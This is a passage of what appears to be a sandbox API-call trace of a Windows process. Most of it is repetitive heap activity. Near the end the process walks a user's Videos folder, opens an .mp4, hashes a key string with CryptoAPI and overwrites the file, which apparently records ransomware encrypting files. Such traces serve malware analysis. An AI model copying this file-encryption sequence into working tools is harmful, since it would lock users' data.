hHeap=0x5010000) returned 1 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.657] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\") returned="L0lT\\" [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecce8 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.657] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\") returned="UYaZ4DG0b_NROc5iB6tm\\" [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecce8 | out: hHeap=0x5010000) returned 1 [0113.657] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0113.657] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0113.658] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.658] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.658] PathFindFileNameW (pszPath="") returned="" [0113.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f488 [0113.658] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75c36130, ftCreationTime.dwHighDateTime=0x1d4d129, ftLastAccessTime.dwLowDateTime=0x50166cb0, ftLastAccessTime.dwHighDateTime=0x1d4d323, ftLastWriteTime.dwLowDateTime=0x50166cb0, ftLastWriteTime.dwHighDateTime=0x1d4d323, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f488 | out: hHeap=0x5010000) returned 1 [0113.659] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75c36130, ftCreationTime.dwHighDateTime=0x1d4d129, ftLastAccessTime.dwLowDateTime=0x50166cb0, ftLastAccessTime.dwHighDateTime=0x1d4d323, ftLastWriteTime.dwLowDateTime=0x50166cb0, ftLastWriteTime.dwHighDateTime=0x1d4d323, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.659] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2266c980, ftCreationTime.dwHighDateTime=0x1d4c8e3, ftLastAccessTime.dwLowDateTime=0x3ab0d90, ftLastAccessTime.dwHighDateTime=0x1d4cf1d, ftLastWriteTime.dwLowDateTime=0x3ab0d90, ftLastWriteTime.dwHighDateTime=0x1d4cf1d, nFileSizeHigh=0x0, nFileSizeLow=0x18c29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0bbBT.mp4", cAlternateFileName="")) returned 1 [0113.659] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecce8 [0113.659] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20b28 [0113.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecce8 | out: hHeap=0x5010000) returned 1 [0113.659] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\0bbBT.mp4") returned=".mp4" [0113.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\0bbBT.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\0bbbt.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.660] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=101417) returned 1 [0113.660] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.662] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18c03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.662] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.663] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.663] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x18c29, lpOverlapped=0x0) returned 1 [0113.664] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.664] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.664] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.664] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.664] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.665] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.665] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.665] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.665] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.666] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.666] GetLastError () returned 0x0 [0113.666] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.666] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.666] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18c30) returned 0x7b182e0 [0113.666] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.666] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x18c24, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x18c24, lpOverlapped=0x0) returned 1 [0113.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.667] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18c29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.667] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.667] RtlAllocateHeap 